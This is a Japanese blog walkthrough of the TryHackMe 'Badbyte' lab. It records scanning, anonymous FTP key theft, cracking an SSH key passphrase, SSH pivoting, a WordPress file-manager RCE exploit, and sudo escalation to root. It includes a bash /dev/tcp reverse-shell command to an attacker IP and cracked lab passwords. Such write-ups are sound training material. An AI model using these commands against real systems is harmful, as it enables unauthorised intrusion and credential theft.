0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Badbyte:Walkthrough

Posted at

概要

TryHackMe「Badbyte」のWalkthroughです。

Task2

Q1.How many ports are open?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.40.228 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:a2:ed:93:4b:9c:bf:bb:33:4d:48:0d:fe:a4:de:96 (RSA)
|   256 22:72:00:36:eb:37:12:9f:5a:cc:c2:73:e0:4f:f1:4e (ECDSA)
|_  256 78:1d:79:dc:8d:41:f6:77:60:65:f5:74:b6:cc:8b:6d (ED25519)
30024/tcp open     ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          1743 Mar 23  2021 id_rsa
|_-rw-r--r--    1 ftp      ftp            78 Mar 23  2021 note.txt

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
30024 ftp vsftpd 3.0.3

A.2

Q2.What service is running on the lowest open port?

A.ssh

Q3.What non-standard port is open?

A.30024

Q4.What service is running on the non-standard port?

A.ftp

Task3

Q1.What username do we find during the enumeration process?

Hint.read the note.txt

FTPにAnonymousログインします。

$ ftp -P 30024 10.10.40.228
Connected to 10.10.40.228.
220 (vsFTPd 3.0.3)
Name (10.10.40.228:kali): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

二つのファイルを発見しました。

ftp> ls
229 Entering Extended Passive Mode (|||5857|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          1743 Mar 23  2021 id_rsa
-rw-r--r--    1 ftp      ftp            78 Mar 23  2021 note.txt

ダウンロードします。

ftp> prompt
Interactive mode off.
ftp> mget *
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||29351|)
150 Opening BINARY mode data connection for id_rsa (1743 bytes).
100% |*****************************************************************************|  1743      730.53 KiB/s    00:00 ETA
226 Transfer complete.
1743 bytes received in 00:00 (7.06 KiB/s)
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||50405|)
150 Opening BINARY mode data connection for note.txt (78 bytes).
100% |*****************************************************************************|    78      107.13 KiB/s    00:00 ETA
226 Transfer complete.
78 bytes received in 00:00 (0.31 KiB/s)

note.txtからユーザー名が分かりました。

note.txt
I always forget my password. Just let me store an ssh key here.
- errorcauser

A.errorcauser

Q2.What is the passphrase for the RSA private key?

FTPからダウンロードしたid_rsaファイルのパスフレーズを解析します。

$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
cupcake          (id_rsa)

A.cupcake

Task4

Q1.What main TCP ports are listening on localhost?

パーミッションの設定をし、ターゲットマシンにSSH接続とポートフォワーディングをします。

$ chmod 600 id_rsa
$ ssh -i id_rsa errorcauser@10.10.40.228
-bash-4.4$

/etc/proxychains4.confを編集します。

/etc/proxychains4.conf
(省略)

# socks4        127.0.0.1 9050
socks5 127.0.0.1 1337

ターゲットのローカルネットワークにポートスキャンをします。

$ proxychains nmap -sT 127.0.0.1
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

ローカルで動作しているポートが分かったのでSSHでフォワーディングの設定をします。

$ ssh -i id_rsa -L 80:127.0.0.1:80 errorcauser@10.10.84.63

A.80,3306

Q2.What protocols are used for these ports?

A.http, mysql

Task5

Q1.What CMS is running on the machine?

SSHポートフォワーディングの設定をし、80番ポートにアクセスします。

local web.jpg

フッターからWordPressで作成されたことが分かります。

A.wordpress

Q2.Can you find any vulnerable plugins?

Hint.search-limit=1500 and -vv

Nmapに用意されているWordPressのスクリプトを使用して再度スキャンします。
スクリプトのドキュメントを参考にオプションを設定します。

$ nmap -sCV --script http-wordpress-enum.nse --script-args type="plugins",search-limit=1500 -p 80 127.0.0.1 -vv
PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-wordpress-enum: 
| Search limited to top 1500 themes/plugins
|   plugins
|     duplicator 1.3.26
|_    wp-file-manager 6.0

duplicator 1.3.26,wp-file-manager 6.0の存在を確認できました。

Q3.What is the CVE number for directory traversal vulnerability?

Hint.CVE-2020-11XXX

duplicator 1.3.26プラグインの脆弱性を検索するとCVE-2020-11738が見つかりました。

A.CVE-2020-11738

Q4.What is the CVE number for remote code execution vulnerability?

wp-file-manager 6.0の脆弱性を検索するとCVE-2020-25213が見つかりました。

A.CVE-2020-25213

Q6.What is the name of user that was running CMS?

CVE-2020-25213のexploitを実行します。
PoCは下記リポジトリを使用しました。

$ python exploit.py http://127.0.0.1:80 id
uid=1000(cth) gid=1000(cth) groups=1000(cth),27(sudo)

A.cth

Q7.What is the user flag?

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

RCEでリバースシェルを張ります。

$ python exploit.py http://127.0.0.1:80 'bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"'

cthアカウントでシェルを張れました。
TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/cth/user.txtからユーザーフラグを入手できました。

/home/cth/user.txt
THM{227906201d17d9c45aa93d0122ea1af7}

A.THM{227906201d17d9c45aa93d0122ea1af7}

Task6

Q1.What is the user's old password?

Hint.Basic Linux Enumeration.

TryHackMeのコンテンツ文からログが怪しいと推測できます。

/var/log/bash.logから古いパスワードを得られました。

/var/log/bash.log
Script started on 2021-03-23 21:05:06+0000
cth@badbyte:~$ whoami
cth
cth@badbyte:~$ date
Tue 23 Mar 21:05:14 UTC 2021
cth@badbyte:~$ suod su

Command 'suod' not found, did you mean:

  command 'sudo' from deb sudo
  command 'sudo' from deb sudo-ldap

Try: sudo apt install <deb name>

cth@badbyte:~$ G00dP@$sw0rd2020
G00dP@: command not found
cth@badbyte:~$ passwd
Changing password for cth.
(current) UNIX password: 
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
cth@badbyte:~$ ls
cth@badbyte:~$ cowsay "vim >>>>>>>>>>>>>>>>> nano"
 ____________________________
< vim >>>>>>>>>>>>>>>>> nano >
 ----------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cth@badbyte:~$ cowsay " g = pi ^ 2 " 
 ______________
<  g = pi ^ 2  >
 --------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cth@badbyte:~$ cowsay "mooooooooooooooooooo"
 ______________________
< mooooooooooooooooooo >
 ----------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cth@badbyte:~$ exit

Script done on 2021-03-23 21:07:03+0000

A.G00dP@$sw0rd2020

Q2.What is the root flag?

Hint.What is the new Password? :)

更新後のパスワードを推測します。
2020なので2021,2022などの可能性があります。

sudo -lを実行する際にG00dP@$sw0rd2021で認証をパス出来ました。

$ sudo -l
sudo -l
[sudo] password for cth: G00dP@$sw0rd2021

Matching Defaults entries for cth on badbyte:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cth may run the following commands on badbyte:
    (ALL : ALL) ALL

rootに昇格できました。

$ sudo /bin/bash
sudo /bin/bash
root@badbyte:/var/log#

/root/root.txtからルートフラグを入手できます。

/root/root.txt
  |      ______    ________   ________              ______        _____________ __________  |
  |     / ____ \  /  ___   \ /   ____ \            / ____ \      /____    ____//   ______/\ |
  |    / /___/_/ /  /__/   //   /   / /\          / /___/_/      \___/   /\___/   /______\/ |
  |   / _____ \ /  ____   //   /   / / /         / _____ \ __   ___ /   / /  /   ____/\     |
  |  / /____/ //  / __/  //   /___/ / /         / /____/ //  | /  //   / /  /   /____\/     |
  | /________//__/ / /__//_________/ /         /________/ |  \/  //___/ /  /   /________    |
  | \________\\__\/  \__\\_________\/          \________\  \    / \___\/  /____________/\   | 
  |                                  _________           __/   / /        \____________\/   |
  |                                 /________/\         /_____/ /                           |
  |                                 \________\/         \_____\/                            |

THM{ad485b44f63393b6a9225974909da5fa}

 ________________________
< Made with ❤ by BadByte >
 ------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

A.THM{ad485b44f63393b6a9225974909da5fa}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?